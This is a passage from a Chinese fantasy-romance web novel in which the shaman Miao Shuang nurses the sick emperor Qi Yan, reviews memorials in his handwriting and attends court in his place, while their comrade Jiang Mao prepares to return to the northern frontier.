苗霜长舒一口气。 总算睡着了,以前生病却也没这么缠人。 他给祁雁盖好被子,终于能暂时离开,叫明秋进来照顾着,心情有些烦闷地出去透了口气。 刚好在门口碰上姜茂,对方往屋里看了一眼,隔着屏风,感觉室内一片安静,低声询问:“将军他怎样了?” “喝过药,睡下了。”苗霜道。 “病得严重吗?当真如赵戎心中所说,食不下咽寝不安席?” “差不多吧,”苗霜有些头疼,“病得不轻,吃不下饭睡不着觉只是表症,根源在于长时间的心绪郁结,已经开始影响到身体,估计要调养很长一段时间才能好了。” 姜茂回忆了一下:“我记得在苗寨时,他便有几次说心口疼,和这有关吗?” “嗯,”苗霜点头道,“后来用蛊虫帮他重塑了经脉,我还以为他这毛病已经好了,谁想到得知雁归军全军覆没的消息以后,竟又再次发作。” “那经久不愈的剑伤,也与这有关吗?”姜茂又问。 “这我还真说不好,”苗霜皱了皱眉,“按理说,不应该……” 但这伤他的蛊虫都治不好,连他也无法解释了。 或许他一直以来都想错了,祁雁并非与他一起误入书中世界。 他濒死时静止褪色的时空,以及这本不该发生的,脱离“原著”的剧情。 可祁雁现在记忆全无,没人能为他解答疑惑。 苗霜狠狠一咬牙:“该死的祁雁。” 140-150 第141章 第 141 章 我不走,就在这陪着你…… 姜茂:“?” 怎么好端端地又骂上了。 他忍不住问:“大巫还在生将军的气吗?” 苗霜奇怪地看他一眼:“生什么气?” 姜茂:“去剑南的路上, 您不是一直在骂他吗?” 虽然到现在也不知道究竟为什么。 “……”苗霜没好气道,“不是因为这个。” 虽然他的确因为祁雁屡次把自己搞到重伤而生气,所以故意晚归罚他反省反省, 却没想到某人竟病得如此严重。 或许他不应该跟祁雁置气,早点回来就好了。 苗霜叹口气, 懒得再去想这些,对姜茂道:“你是不是打算回塞北了?” 姜茂有些惊讶地问:“大巫怎么知道?” “赵戎都给你传信了, 你还能忍住不去找他?” 这事说起来也相当离谱,那封信在祁雁手里放了两个月,他竟没好奇拆开,真是防君子不防小人。 他才不信赵戎那家伙有脑子想到用这种手段瞒天过海,让祁雁亲手交出了告自己状的信,多半是陆暄那家伙出的主意,听说祁雁强行扣留了一批范阳的精兵,陆暄在这打击报复呢。 虽然他跟姓陆的不是很对付,但不得不说, 这次他做了件好事。 “……如大巫所料,”姜茂有些不好意思地垂下眼, “更何况,我本也是雁归军的一员,因私自逃离而躲过一死,如今雁归军重组,说什么也不能再置身事外了,还有老孟, 上次他说在剑南待够了,也准备找个机会向彭鸿飞请辞,或许有朝一日, 我们还能在塞北重聚。” “嗯,”苗霜向来尊重他人的选择,“打算什么时候走?” “再过几日吧,等将军病好些了,当面向他辞行,不告而别总归不好。” 苗霜点点头,表示没意见,以祁雁现在的状态,还是不要再受更多刺激为妙。 姜茂很快离开了,苗霜回去继续看着祁雁,某人也不知道几天没睡过觉了,这一睡着就再难醒来,晚上苗霜干脆没叫他起来吃饭,反正他也不一定吃得下去。 苗霜连日赶路,今天才抵京,一到皇宫就马不停蹄地被祁雁做了一通,又给他治了一通,也已经累得不行了,天一黑便早早睡下。 睡到夜半三更,缠在祁雁腕上的蛇忽然监测到他脉搏加快,苗霜顿时清醒过来,一起身,就看到睡在旁边的祁雁眉头紧锁,仿佛正在经历什么可怖的梦魇。 苗霜伸手摸了摸他的额头,摸到一手冷汗,而高热竟还没完全退去,祁雁两颊泛着不自然的潮红,干裂的嘴唇却没什么血色。 白天给他灌下药后烧退了一些,到傍晚却又烧起来,苗霜便又给他灌了一碗,到现在也已经过去了两个时辰,竟还是没能顺利退烧。 苗霜莫名感觉他变得比以前更难治了,唤明秋道:“去端碗温水来。” 明秋很快端来了水,苗霜正打算给祁雁喂点水喝,忽然发觉他眼睫颤动,嘴唇微微开合,似在梦呓什么。 苗霜凑近了去听,可他声音太低,嗓子又嘶哑得厉害,听来听去,也只听出一个“霜”字。 苗霜?还是小霜?分辨不出来。 听不清便不听了,他用勺子舀了一勺水,送到祁雁唇边,谁料水才刚碰到他的嘴唇,他突然像是受了什么刺激般惊醒过来,一把捉住苗霜的手腕,猛地起身:“……苗霜!” 苗霜猝不及防,被他这么一推,手里端着的一碗水直接泼出去半碗。 祁雁紧紧攥住他的腕子,力道之大,让他骨头都疼了,他能感觉到祁雁急促而滚烫的呼吸拂在面上,胸膛剧烈起伏,脉搏快如擂鼓。 “陛下!”明秋上前一步,唤他道,“只是噩梦。” 祁雁离散的视线终于一点点聚焦,似乎这才从噩梦中醒来,他看了看面前的人,看到近在咫尺的苗霜,紧绷的脊线骤然一松。 精神一放松下来,剧烈的晕眩就开始上涌,他慢慢松开苗霜的手腕,用手撑住床沿,低下头去,闭上眼睛调整呼吸。 见他这样子,苗霜不禁眉心微蹙,问道:“做噩梦了?” “……嗯,”祁雁精神恹恹,说话都没力气,“梦到你回来是我在做梦。” 苗霜:“……” 他叹口气,再次把碗递到他面前:“先喝口水吧。” 明秋又添了半碗水,祁雁便就着苗霜的手大口喝光了一整碗,发烧和出汗让他极为口渴,好像浑身都要被烧干了。 身上的衣服被冷汗浸透又被水泼湿,显然是没法再穿了,明秋帮他换了身干净的,又用热水擦了身,祁雁总算觉得好过了一些。 他疲惫至极地躺回去,视线还死死盯着苗霜,又道:“你不准走。” “我不走,就在这陪着你,”苗霜往他旁边靠了靠,离他更近一些,“听话,快睡吧。” 祁雁还想继续盯着他,但倦意又迅速把他吞没,很快便合上眼皮,没了动静。 苗霜握着他的手,就这样陪着他坐了好一会儿,确定他睡着了,这才抬起头来,问明秋道:“这两个月来,他经常这样吗?” 明秋点了点头:“起初还没这么严重,后来几乎成了日常,陛下最近本就难以入眠,又时常因噩梦惊醒,睡不着,也不敢睡。” “……他总是梦到什么?” “这奴婢不知,陛下并不愿向他人倾诉,但偶尔听到梦呓,有时是喊大巫的名字,有时又喊赵戎他们,还有父亲之类的。” 看来是梦到死去的人,以及梦到活着的人死去。 苗霜沉默了一会儿,道:“这皇宫里的风水是不是不太好?” 明秋愣了一下:“什么?” “不然为什么季渊住在这做噩梦,祁雁住在这也做噩梦?” “这……” “那个景行的道士可还在京中?” “应该早就离开了吧。” 先前被强行送去前线的道士们又跟随祁雁的大军回京,之后就各自散去了,景行似乎对京都没什么好印象,大概率不会长久逗留。 但苗霜不管这些:“明天请他进宫一趟,驱驱邪。” “……是。” * 苗霜帮祁雁告了假,第二天的朝参取消,大臣们都没来,只有景行一个人被请进了皇宫。 他实在不知自己究竟造了什么孽,屡次三番地跟祁雁牵扯上,上次见面还是“未来的真龙天子”,这次已经去掉了那个前缀,彻底成天子了。 不过,才刚一进皇宫,他就感觉这真龙的状态不妙,好像成了病龙,不禁在心里念叨他只是个道士,又不会给人看病,皇帝不去找太医,找他来干什么。 结果到了地方,却发现宣他进宫的并不是皇帝本人,而是大巫。 景行立马腿肚子都开始打软了,连大巫都治不好的病,那得是什么绝症,紧张得直咽唾沫,就差跪地求饶了。 没想到下一秒,就听苗霜道:“这皇宫里的风水怎么样?” “什么?风水?”景行一愣,万万没想自己有朝一日还能给皇宫看风水,“好、好啊!皇家宝地,龙首之原,好得不能再好!” “那为何住在这里的皇帝总是惊悸连连,夜不得寝,寝不得安?” “啊?这……” “你是道士,会驱邪驱鬼吧?”苗霜问,“你帮我看看,这皇宫里可有什么不干净的东西?” 景行一头雾水,扭头往殿外看了一眼,委婉道:“这……比我上次来时还干净许多呢。” “嗯?” 景行斟酌了一下措辞,小声道:“先帝曾在宫中滥杀无辜,我上次来,确实感觉宫里有些阴气,但这次再看,完全没有了,毕竟……宫里到处都是您的蛊虫,阴气也无所遁形吧。” 苗霜打量他一番:“你还真能看见鬼?” “……合着您根本不信啊!”景行两眼一黑,“也不是能看见鬼,只是能感觉到一些常人感觉不到的气息罢了。” “恕我直言……”他把声音压到了最低,“这皇宫里,最邪的当属大巫您了,陛下连您都不怕,还怕什么阴气小鬼,更何况,陛下身经百战,杀人如麻,这戾气可令邪鬼退避三舍,就算宫里真有什么异样,也干扰不到陛下……和您。” 苗霜漫不经心地听着,本来他也不是真觉得祁雁做噩梦和什么风水有关,虽然他上辈子弃仙修魔,但在仙门学的那点东西还没忘呢,纵然这辈子法力全无,看个风水却还不成问题。 只是找个借口召景行进宫。 他眯了眯眼,道:“什么叫‘最邪的是我’?” “呃……”景行有些心虚地别开眼,“您是苗疆大巫,一手巫蛊之术出神入化,这难道还不邪吗。” “少在这里给我装傻,”苗霜不想再跟他打哑迷了,站起身来,向他逼近,“你知道点什么吧,道士?除夕夜在道观时,我让你给我卜卦,你卜算完,给了我一炷香,那香我用了,确实有用,你是有点真才实学的。” 景行后退一步,苗霜便再往前一步,直至逼得对方无路可退:“你告诉我,你究竟在我身上看到了什么,才让你给了我那炷香?” “这……这不能说啊!”景行大惊,“说了会遭天谴的,会折寿!我都已经没几年好活了,你就放过我吧!” 苗霜抓住重点:“没几年好活了?” “不是……这个……”景行挠了挠脸,长叹一声,“大巫,不是我不帮您,是您和陛下的因果线实在太……太……哎呀,总而言之,旁人根本插不进去手,若是冒然接近,就会引火烧身,自取灭亡。” 苗霜有点不耐烦了:“那你究竟能说什么?” “我知道您想问什么,”景行看了一眼龙榻上昏睡不醒的病龙,“但天机不可泄露,我只能说,他日之因,必有今日之果,心伤难愈,故身伤难愈。” 苗霜:“……” 说了等于没说。 他耐心彻底告罄,一摆手道:“没你事了,领了赏快滚。” “哎。”景行毫不客气地接过明秋奉上的银子,扭头就走。 走到门口,他又停下脚步:“大巫,相逢即是有缘,看在有钱……不是,我们有缘的份上,我就再多说一句吧。” 苗霜瞥他一眼,倒是想听听他还能蹦出什么屁话。 “天道终难违,人力可补天。” 第142章 第 142 章 吃不完今晚不陪你睡觉…… 苗霜看着他的背影, 皱了皱眉。 这话什么意思,逆天行道? 说谁?祁雁吗? 他一直觉得自己能在祁雁剑下存活这件事匪夷所思,莫非是祁雁用什么方法又将他救活了?如果真是这样, 强行复活一个已死之人,可不就是逆天行道? 虽然想不通他很可能已经碎成渣的神魂究竟怎样才能保住, 但如果是祁雁的话,说不定真有办法。 如果连仙道第一都做不到, 那整个修真界就没人能做到了。 还有那个奇怪的妖王,没准也在里面起到了什么作用,不然以人族和妖族之间的血海深仇,祁雁不可能觉得季澜是友非敌。 看来他之前的猜想果真没错,他死后修真界一定又发生了什么,才导致他和祁雁共同跑到了这本书里来。 该不会是仙道首座和妖王一起复活了他这个魔尊吧,那可太有意思了。 但如果他真的被复活了,又为什么没回到修真界?是祁雁拼尽全力也没能把他拼完整,只能放进这个书中的小世界来才能勉强存活, 还是过程中出了什么岔子,导致现在的意外发生? 全无头绪, 也无从打探。 苗霜看了龙榻上的人一眼,不禁有些暴躁,怎么姓祁的偏偏失忆了,拼命把他救活,却又不再认得他,这不是本末倒置吗。 苗霜叹口气。 罢了, 不管怎么样,先处理完当下的事再说吧,他实在不能确定如果祁雁死了会发生什么, 这个世界会不会随之崩溃,自己又会不会跟着一起消失。 如果他再死一次,是会回到修真界,还是会彻底灰飞烟灭,他自己也拿不准,虽然他并不在乎自己的性命,可祁雁逆天行道把他救活的……还是好好活着吧。 苗霜在床边坐下,又给某条病龙把了会儿脉,恢复的情况还是不太理想,只能说比昨晚稍好了点。 真是奇怪。 就算心口的剑伤是前世之因,可生病又不是,为什么治病也治不好。 …… 等等。 不知想到什么,苗霜的表情忽然变得有些古怪。 他用蛊虫给祁雁重塑经脉以后,祁雁就接近于百毒不侵了,那是否意味着祁雁的体质也变得和他一样,毒不对他起作用,药也同样不对他起作用? ……这下可难办了。 苗霜只能想办法给他增加剂量,下些猛药,可再猛的药到祁雁身上药效也大打折扣,只能边治边看。 所谓病来如山倒,病去如抽丝,苗霜帮他告了一天的假还远远不够,祁雁反复发烧,喝了药便昏睡不醒,一连三四天都是如此,别说会见朝臣了,起床都困难。 自从新帝登基,还从来没有因为生病请过假,而今一请就是好几天,朝臣中不免传出些猜测,说陛下在塞北一战受了重伤,之前一直在强撑,现在大巫回来了,精神一放松,伤情立刻反复。 也有人认为恰恰相反,觉得正是大巫的归来才导致陛下身染重疾,毕竟大巫本就是个巫医,听说他还在宫里养蛊虫,想想就让人害怕,陛下久居这样的环境,能不出事吗。 更有甚者,认为陛下根本就没病,不过是大巫回来了,忙着跟他颠鸾倒凤没空上朝,反正塞北大捷,短时间内各国不敢再犯大景边境,他休息一下也是无可厚非。 不管他们怎么猜测,祁雁不能消失太久是真,要是天下太平局势安稳倒也罢了,可前朝留下的烂摊子才解决了一半,剩下的也不能一直拖着。 祁雁几天没干活,奏折已经堆积如山,苗霜看了眼不知道什么时候才能康复的某人,觉得要是一直等到他痊愈,这奏折的数量恐怕要累加到加班半个月也批不完了吧。 才有好转又玩命加班,病情恐有反复的风险,思来想去,苗霜唤来范青书道:“去把奏折给我拿过来。” 范青书有些惊讶地看向他:“大巫要替陛下批奏折?” “怎么,不行吗?” “倒也不是……”范青书斟酌了一下,“我现在去拿。” 他叫了两个小太监,将所有积压的奏折都从前殿搬了来,委婉道:“以陛下对大巫的信任,旁人自然无权置喙,但此事若被朝臣知道,恐有非议。” “不被知道不就得了?”苗霜取了支毛笔,蘸上朱砂墨,随意翻开一本奏折,在空白处落下一个“阅”字,“陛下不说,你我不说,又有谁能将消息传进朝臣耳中?” 那字迹笔走龙蛇,苍劲有力,竟和祁雁所书一模一样。 范青书微惊,恭敬道:“我明白了。” 苗霜便这样一边守着祁雁,一边帮他批起了奏折,模仿祁雁的字迹对他来说并不是难事,还在青锋派时,他们时常会互相帮忙抄书,从未被师尊发现,现在祁雁的笔法虽然和以前不太相同,但神韵犹在,苗霜模仿起来信手拈来。 奏折太多,而他耐心不多,才翻了两份就觉得烦,尽是一些鸡毛蒜皮的小事,也要东扯西扯写一大篇,好像不把纸写满浪费似的。 还有些无事上奏,单纯问皇帝身体怎样了的请安折,他干脆让范青书帮他做个归类,先把要紧的捡出来批。 这种事范青书经常做,自然得心应手,很快便帮他筛选完成,工作量大大减少,苗霜紧锁的眉头舒展开来。 他花了两个时辰处理完所有要紧事,都按照祁雁的风格一一批复下诏,而后将奏折返还上奏者本人。 剩下的就可以慢慢批了,琐事一律批“阅”,问安的一律批“朕安”,提笔落字,毫无感情。 范青书在一旁看着,只觉这位大巫的工作效率未免也太高了,陛下或许都做不到如此果决,有时还要叫几个官员来商议,反复权衡。 区别大概在于大巫完全不体恤下属,不管他们做不做得完都先派了再说,累着谁也不能累着自己。 从白天一直忙到晚上,总算是批完了所有积压的奏折,苗霜站起身来,活动了一下酸疼的手腕,伸着懒腰舒展筋骨,出去透气了。 像是有某种感应,他才离开不久,昏睡了一天的祁雁就睁开眼睛,低声唤道:“苗霜……” 屋内一片安静,苗霜不在。 祁雁撑身坐起:“苗霜?” 不是说好的,一睁眼就能看见他吗,人去哪儿了…… 强烈的不安让他无法再继续睡下去,挣扎着离开了龙榻,明秋听到动静,快步走上前来:“陛下,大巫刚离开,劳累了一下午,出去透口气,很快就回来了。” “劳累?”祁雁看向身侧,这才发现龙榻边上不知何时多了一张书案,上面摆着满满一桌子的奏折,还有几份已经掉在地上。 他弯下腰,随意捡起一份,看着上面的朱笔批字,诧异道:“朕梦游了?” 梦游都不忘批奏折?何至于此? 明秋:“……是大巫帮陛下批的。” 祁雁沉默了。 他一眼竟看不出这字不是自己写的,两眼也没看出。 仔细研究了半天,都快不认识那个“阅”字了,他放下奏折,又问:“所有的都批完了?” “是。” “只是批了奏折?可还做了别的?” 明秋将这一下午苗霜替皇帝下达的诏令一一汇报,祁雁听完,神情变得愈发怪异。 苗霜的批示竟全都与他不谋而合,只要知情人不说,根本不会有人知道下达诏命的不是皇帝本人。 之前他跟苗霜说让他当皇帝自己当皇后,虽然那时苗霜没答应,但现在看来或许真的可行…… 祁雁在书案前呆坐了一会儿,忽然感觉有些没事可做了,短暂的清醒过后,生病带来的疲倦和虚弱又再次袭来,他摇摇晃晃地回到床上,准备继续睡觉。 正在这时,身后传来苗霜的声音:“醒了?先别急着躺下,吃点东西再睡。” 祁雁回过头来。 时间已近黄昏,苗霜早早让太监们传了膳,小太监提着食盒进来,明秋也去帮忙,将床桌放好,饭菜一一摆上。 祁雁明显没什么胃口,也没太多力气,只小口喝着自己碗里的粥,其他的是一筷子也不动。 苗霜跟他对坐着吃饭,问他道:“自作主张替你批了奏折,还伪造你的字迹,不降我的罪?” “夫人别说笑了,我感谢还来不及,”祁雁精神恹恹,竟也没心思和他斗嘴,“明日朝会,夫人不妨也替我参加了吧。” “……还得寸进尺了你。” 祁雁硬灌了几口粥,实在有些反胃,这几天尚食局一直给他做药膳,粥里放了药材,又淡又苦,本就没食欲,现在更是吞咽都困难,十分想呕。 “别吃那玩意了,吃这个,”苗霜把一碗面搁在他面前,“让厨子学了点新鲜做法。” 祁雁看着那碗面,碗里不过几根绿菜,一把豆芽,少许葱蒜末,看上去清汤寡水,不解道:“这不就是普通素面?” 苗霜并不说话,只打开旁边放着的小罐,加入致死量的辣椒,再拿起油壶,往面里倒了半壶滚烫的热油。 只听“呲啦”一响,辣椒翻腾起油泡,香气瞬间激发出来。 他又如法炮制,弄好了自己的那碗,对祁雁道:“还不快吃?” 祁雁还没反应过来,但不得不说,加了辣椒以后这面条看起来让人有食欲多了,他犹豫着拿起筷子,学苗霜把面条搅拌均匀,尝了一口。 “咳……咳咳……” 已经许久没吃过辣的祁雁差点被这一口面送走,他别过头去咳嗽,只感觉脸颊迅速烧了起来。 “很辣吗?”苗霜吃着加了两倍辣椒的油泼面,面不改色道,“快吃,吃不完今晚不陪你睡觉。” 第143章 第 143 章 世上只有两种人,祁雁…… 听了这话的祁雁陡然拧起眉头。 “你明明答应了我的, ”他不满道,“你说会一直陪着我,我醒来就能看到你, 可我刚刚醒来就没看到你。” “所以呢?”苗霜毫不相让,“你也答应过我不再受伤, 你做到了?” 祁雁:“……” 若是翻起旧帐来,谁也说服不了谁, 他只得自认理亏,低头继续吃面。 不过……他真的答应过苗霜不再受伤吗?他怎么不记得了…… 又吃了几口面,祁雁被辣得舌头都麻了,但不得不说辣味确实能开胃,不知不觉,一碗面已然见底。 他也已经被辣到快要不能忍受,急忙放下筷子,想喝点冷的压一压痛感。 苗霜将一碗早已准备好的牛乳放在他面前:“喝吧。” 牛乳加了少许糖,虽是常温, 但并不腥,祁雁一口气喝干了, 立刻觉得好过了不少。 这碗加了辣的面让他难得有了些精神,吃过饭没立刻躺下睡觉,而是泡了个澡,可惜精力还是相当有限,泡到一半就睡着了。 苗霜站在浴桶边上打量他,经过几天的休养, 祁雁身上的伤疤似乎变淡了一些,但心口处的剑伤还是没有任何变化,姜茂说在塞北时, 这伤口反复撕裂,祁雁因此晕倒了数次,把军医都吓坏了。 他伸出手,指尖轻轻触摸那道剑痕,不知是不是多次开裂的原因,总感觉比之前更明显了。 他叹口气,唤来明秋伺候祁雁。 刚出来,就听范青书问:“明日的朝会可要取消?” 苗霜思索片刻:“不必,一切照旧吧。” 明日是十月初一,天子要在宣政殿会见朝臣,也称“大朝”,和常朝不同,大朝仪仗十分繁琐,祁雁素来不喜这些花里胡哨的东西,登基以后便将流程砍了几道,尽可能简短。 苗霜今日已替祁雁回了奏折,说自己一切安好,若明日还不上朝,未免引人猜疑,干脆他就帮人帮到底,再替祁雁把这朝会上完算了。 反正到时候他坐在龙椅上面见百官,中间隔着不短的一段距离,足够他的幻术发挥了。 范青书听着,不禁觉得这位大巫真是胆大包天,代替天子上朝什么的,这种事要是传出去,朝中不知道要炸成什么样,很有可能一顶谋逆的帽子就扣下来。 不过反正是陛下允许的……陛下现在这状况,下个望日的朝会都不一定能上,除了让大巫代替,也没别的办法了。 不论怎样都有风险,死马当活马医吧。 范青书安排了下去,第二天,苗霜难得起了个早,替祁雁去出席朝会。 别的都好说,关键是这龙袍实在不合身,祁雁比他高一些,骨架也比他大,龙袍穿在身上,哪哪都不合适。 临时赶制一身新的肯定也来不及,苗霜只得穿着这不合身的衣服去上朝,明秋帮他仔细调整,多固定了几处,至少让外人看不出来。 白蛇倒是对这件新衣服很感兴趣,东爬爬西探探,甚至盘到了帝冕上。 苗霜威胁道:“下来。” 白蛇不情不愿地溜回了袖口。 起得太早,苗霜整个人都没精神,马上就要入冬,天气也已经很冷,太阳都没升起来就要上朝,光是从紫宸殿走到宣政殿这么一点路,他已经冻得想要提前冬眠。 袖子里的白蛇也老实了,紧紧缠在他手腕上不再动弹。 苗霜在众人簇拥下进了大殿,坐在御座上面见百官,蓝色的蛊蝶落在周身,落在髹金的龙椅龙头上,蝶翼开开合合。 不得不承认,以皇帝的视角俯看朝堂,满朝文武一览无余,让他竟有种自己还在当魔尊的错觉。 想当年在万魔峰时,他也将自己的魔殿和尊座修得这般气派,隔三差五便将魔众们召集起来议事,只不过他们谈论的不是天下民生,而是怎么对付修仙者。 谈着谈着,脾气暴躁的魔众往往就因意见不合而大打出手,当着他的面厮杀起来,导致他的魔殿时常见血,不是这里碎了就是那里烂了,苗霜却也不加阻止,冷眼旁观,反正他的任务本来就是约束这些魔,他们自相残杀彼此消耗,正合他心意。 有时候把他吵烦了,他还会亲自动手,被魔气侵袭的暴虐在杀过人后方能得到少许缓解。 玉旒在眼前晃动,苗霜怔然出了神,忽然有些好奇祁雁当青锋派掌门时的生活是怎样的,是否也像他这般日复一日,坐在高高的尊座之上,受万人簇拥,却又孤身一人。 周遭忽然安静下来,苗霜被迫收回思绪,回忆了一下刚刚听见的最后一句话,开口道:“朕无碍,只是身体略感疲乏,故而休息了几日,诸位爱卿与其口头关心朕的身体,不如身体力行,早日完成手上的差事替朕分忧,也好让朕轻松些。” 他一早用蛊术改变了自己的嗓音,现在听起来和祁雁没有任何区别。 大臣们闻言,纷纷羞愧地低下头去,开始反省自己最近是不是真的摸鱼了,害陛下累倒。 许多人早已准备好的问安这会儿也不知该不该说了,朝臣们面面相觑,大殿之上一时鸦雀无声。 苗霜早就看这帮臣子们不顺眼,平常没有机会说,现在他是代理皇帝,总算能名正言顺地挖苦他们几句:“朕昨日派下去的活儿,你们可都做完了?” 臣子们大气也不敢出,莫名觉得今天的陛下很有杀气,昨天门下省一股脑颁布了一大堆诏令,海量工作砸到他们头上,他们哪做得完啊。 陛下批复返还回来的奏折也很不客气,用词都比以前激烈许多,看得出来陛下的心情很不好,任谁身体不舒服还要加班也是十分恼火的。 有些无关紧要的小事,大部分只批了“阅”,实在看烦了,甚至写出了“无用之事不得再奏否则后果自负”之类的话。 见他们全都不吭声,苗霜又开口道:“诸位爱卿可还有本要奏?若是无事,便退朝吧。” 这时,终于有要紧事启奏的大臣手持笏板出列:“臣有本要奏!” “说。” 半月一次的大朝本侧重礼仪,先是群臣朝拜、问安,之后才是天子听政,然而没耐心的魔尊大人直接把前面的流程省了,快进到议事环节。 因此,朝会在巳时提前结束,原本过午就要给臣子们提供的廊下食也没了,群臣只得饿着肚子回家,自己解决午饭。 散了朝,精神萎靡的臣子们三两成群,往皇宫外走,忍不住小声议论:“我怎么觉着,今天的陛下和平常不太一样啊?” “是不太一样,今天陛下攻击性好强,而且居然不给饭吃……” “有吗?比起当朝砍人的那天还差远了吧。” “答应我不要再提那天的事了好吗?你要是以那天为标准,那之后每一天的陛下都十分温和良善。” “……” “所以,你们的差事都干完了没?今天不努力,明天还要继续挨骂。” “……散了散了。” 群臣散去,苗霜也脚步轻快地回到了寝殿,折腾完这帮不用鞭子抽就不干活的臣子们,他心情都好了许多。 皇帝自己都许多天没好好吃过饭了,凭啥还要给这帮臣子们准备午饭,祁雁一天不好起来,他这个代理皇帝就一天不会给他们好脸色看。 爱民如子还是爱臣如子那是祁雁的事,关他苗霜屁事,在他眼里世上只有两种人,祁雁和其他人。 回到寝殿,祁雁还没醒来,苗霜强行把他薅起来吃了点东西,喝过药又让他接着睡,虽然比起昨天也没有变得更好,但只要不再加重就是胜利。 苗霜陪他睡了会儿午觉,下午又以极高的工作效率批阅完了今日份的奏折,见时间还早,又去查看了一番自己养在虫罐里的蛊虫。 入秋以后,他便让太监们把他放在外面的虫罐全部搬进大殿,最近祁雁身体不好,他又命人提前烧起了地龙,现在紫宸殿里温度适宜,只是地龙烧多了未免干燥,这让久居南方的苗霜很不适应,便让明秋在屋里摆了几盆水,每天早上一醒来,一定能在水盆里发现一条偷偷溜去泡水的白蛇。 人和蛇都不适应北方的气候,蛊虫自然也不适应,虽然及时搬进了室内,还是死了一大批,活下来的不足十之一二。 苗霜用存活下来的蛊虫继续培育,相信迟早有一天能培育出耐寒耐旱的品种,以解决他一离开深山就失去蛊虫大军的尴尬。 他便这样暂时替祁雁处理着政事,早上上朝,下午批奏折,闲时玩玩虫子,不知不觉又过去数日。 这天晏安下雨,小雨淅淅沥沥地从昨夜一直下到今早还未停,雨天路滑,苗霜趁机取消了朝参,想多睡会儿。 可已经被早朝改变的生物钟竟不给他休息的机会,到了时间,他还是早早醒来,躺了一会儿没能再睡着,干脆披了衣服起身,来到廊下看雨。 不出意料这应该是入冬前最后一场雨了,皇宫里的青石路面上已经铺了薄薄一层积水,寒气随着细雨渗透进来,让他忍不住裹紧了身上的狐狸毛披风。 没有地龙果然还是冷,早点回去吧。 正准备转身回房,却忽然有一双手从背后抱了上来,苗霜一顿,感觉出那是祁雁。 这家伙居然隐匿了气息接近他,雨声盖过他微乎其微的脚步声,他竟没察觉他靠近。 “身体好了?”苗霜问,“能动用内力了?” “一直都能,只是内力治不了病,”祁雁从背后贴上来,将下巴抵在他肩头,说话还带着没睡醒的鼻音,“今天一醒来又没看到你。” “我还能十二个时辰寸步不离地陪着你不成?”苗霜十分无语,“多大年纪了还这么缠人,是皇帝就该有皇帝的样子。” “皇帝该是什么样子?”祁雁反问,“谁规定皇帝就不能缠人?朕是什么样子,皇帝就该是什么样子。” 苗霜:“……” 还挺理直气壮的。 “那皇帝陛下您,至少也该先进屋去吧?若是被寒气侵染了您那尊贵的龙体,我可不管再给你治一次。” 第144章 第 144 章 吃药不宜纵欲 像是为了配合他一般, 话音才落,一阵寒风便穿廊而过,夹杂着几缕湿凉的雨丝, 扫到祁雁脸上。 他刚刚一睁眼就在找苗霜,也没来得及披件衣服, 身上只有一件单薄的睡袍,被寒风一打就透了。 虽说有内力护体应该并不怕冷, 可生病的身体总是不讲道理,落在苗霜腰间的手本能一缩。 祁雁这才不情不愿地放开了对方,转身回到屋内。 地龙提供的热气将寒意阻隔在外,身体很快又回了暖,苗霜冲他一抬下巴:“坐那,我给你把把脉。” 祁雁乖乖坐下,苗霜搭住他双手手腕,仔细给他检查。 雨下个不停,周遭一片安静, 只有淅淅沥沥的雨声,祁雁听着这雨, 看着对面的人,忽然有种恍若隔世的感觉。 犹记得那也是一个雨天,彼时他们还在将军府,他因为浑身疼痛难忍,向苗霜讨了些药酒喝。 两年过去,即便又到了阴雨天, 身体也不会再疼了。 从将军府到了皇宫,明明日子过得更好了,他却开始怀念从前, 回京这么久,竟也一直没腾出时间回去看看,在将军府的一切还都历历在目,短暂,却鲜活。 那府邸他还给自己留着,等有机会回去一趟吧,卢方已经带着女儿去了塞北,不知来福是否还在京中。 祁雁想着,不觉便出了神,雨声让人十分想睡,眼皮又开始往一起合。 直到搭在他腕间的指尖撤走,他才重新清醒过来,苗霜看了他一会儿,问道:“心里可还觉得难受?” 祁雁摇了摇头:“整日被夫人灌药,从早昏睡到晚,哪里还有时间难受。” “你以为我想吗?”苗霜没好气道,“知不知道自己每天有多少活儿要做?现在这些差事全都落在我头上,烦都能把人烦死,你要是心疼我,就早点给我好起来。” “嗯,”祁雁打了个哈欠,“我尽力,困了,夫人再陪我睡一会儿吧。” 苗霜倒是想睡,奈何根本睡不着了,遂按住他的手:“先吃点东西再睡。” 这些日子祁雁每天饮食很不规律,通常是什么时候睡醒了什么时候吃饭,偶尔苗霜能强行把他叫起来,但大部分时间都叫不醒。 以前苗霜是吃饭挑三拣四的那个,现在每天要做的事太多,消耗太大,不得不吃,反倒是祁雁变得不爱吃东西了。 他也算体验了一把祁雁当时的感觉,但他可不像祁雁那么有耐心,还给他挑鱼刺,只管让厨子往菜里加辣椒开胃。 也顾不得管生病期间吃这些究竟健不健康,能吃下就已经很不错,他将尚食局准备的那些清淡病号饭全部推翻,重新配了一套重油重盐重辣的食谱,只要吃着香,不要吃着好。 别说,自从换了食谱以后,效果显著,他自己都能多吃半碗饭,这两天祁雁有食欲多了,不再一听见吃饭二字就皱眉头。 此时,祁雁思索了一下道:“好吧。” 明秋很快端来早膳,今日不上朝,可以随心所欲地消磨时光,慢慢吃。 两人便在这雨声中慢条斯理地吃着早饭,快吃完时,明秋进来通禀:“陛下,姜茂想见您。” 这些时日祁雁整天昏睡,都没在清醒的时候看见过他,几乎忘了他还在京中,闻言道:“让他进来。” 姜茂很快来到两人面前,寒暄道:“将军身体好些了吗?” 祁雁:“好多了。既然来了,不妨一起吃?” “我已经吃过了,”姜茂看着桌上的吃食,没忍住咽了口唾沫,“……但再吃点也不是不行。” 祁雁笑了笑,让明秋给他添了把椅子。 姜茂风卷残云地扫完了剩下的半屉小笼包,终于想起正事:“对了,我来找将军,是来向将军辞行。” 祁雁微怔,又迅速明白过来:“你要回塞北?” 姜茂点了点头。 之前赵戎让祁雁给姜茂捎信时,祁雁就猜到姜茂肯定要去塞北找他,此刻倒也不怎么意外,只看向对方左臂空荡荡的袖管:“不过你想好了,边关凶险,恐怕没有人能时刻保护你。” “我明白,我也不会拖兄弟们的后腿,若不能继续当先锋,那就找点别的事做,总不能因为受了伤就畏缩不前。” 祁雁点点头:“你可告知赵戎了?” “之前给他寄了信,应该已经送到了吧。” “那便好,你何时启程?” “等这雨过去就出发,若再晚走,怕塞北下雪,路滑难行。” 既然已经准备好了,祁雁也没意见:“那就提前祝你一路顺风,等到了塞北,记得看着点赵戎,别让他又头脑一热去杀金孝仁,没我的命令,你们不得擅自进入大漠。” “明白,将军放心吧。” 